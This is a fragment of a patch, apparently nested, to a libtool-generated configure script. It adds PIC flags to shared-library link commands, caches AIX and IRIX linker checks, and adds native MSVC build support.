-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9569,12 +10083,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9588,8 +10102,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9607,8 +10121,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9654,8 +10168,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9785,7 +10299,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9798,22 +10318,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9825,7 +10352,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9838,22 +10371,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9898,20 +10438,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9972,7 +10555,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9980,7 +10563,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9996,7 +10579,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -10020,10 +10603,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -10102,23 +10685,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10203,7 +10799,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10222,9 +10818,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10800,8 +11396,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10834,13 +11431,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10932,7 +11587,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11728,7 +12383,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11731 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11772,10 +12427,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11834,7 +12489,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11837 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11878,10 +12533,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -14578,7 +15233,7 @@ SHARED_LDFLAGS=
- if test "$enable_shared" = "yes"; then
- x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
- if test -n "$x"; then
-- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
-+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
- fi
-
- case "${host}" in
-@@ -17197,13 +17852,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -17218,14 +17880,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
